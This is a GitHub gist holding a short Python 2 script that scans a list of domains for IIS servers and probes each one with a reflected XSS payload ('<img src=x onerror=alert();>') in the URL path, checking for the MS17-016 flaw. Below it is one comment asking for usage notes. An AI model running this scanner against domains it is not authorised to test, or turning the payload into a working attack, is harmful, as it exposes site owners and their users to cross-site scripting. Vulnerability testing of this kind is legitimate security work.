Skip to content

Instantly share code, notes, and snippets.

@bayotop
Last active April 22, 2019 14:53
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save bayotop/435171f9f61789fd7a27639c99dba77e to your computer and use it in GitHub Desktop.
Save bayotop/435171f9f61789fd7a27639c99dba77e to your computer and use it in GitHub Desktop.
Test for XSS in IIS - MS17-016
import requests
from requests import ConnectionError
import sys
requesttemplate = "http://%s/";
payload = "uncpath/<img src=x onerror=alert();>:"
check = { "Microsoft", "ASP.NET", "IIS" }
confirm = { "500.19", "<img src=x onerror=alert();>:" }
if __name__ == "__main__":
if len(sys.argv) != 2:
print "Usage: %s <domain_list>" % sys.argv[0]
sys.exit()
with open(sys.argv[1]) as f:
content = f.readlines()
content = [x.strip() for x in content]
for u in content:
try:
headers = str(requests.get(requesttemplate % u).headers)
if any(pattern in headers for pattern in check):
print "Potential: %s" % u
content = requests.get((requesttemplate + payload) % u ).content
if any(pattern in content for pattern in confirm):
print "Confirmed: %s" % u
except ConnectionError:
pass
except KeyboardInterrupt:
print "Interrupted by user..."
sys.exit(0)
except:
print "Failed on %s: %s" % (u, sys.exc_info()[1])
@A-AFTAHI
Copy link

Hey, Thanks for your work.

It would be great if you add a description on how to use and the features of the script and the expected output.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment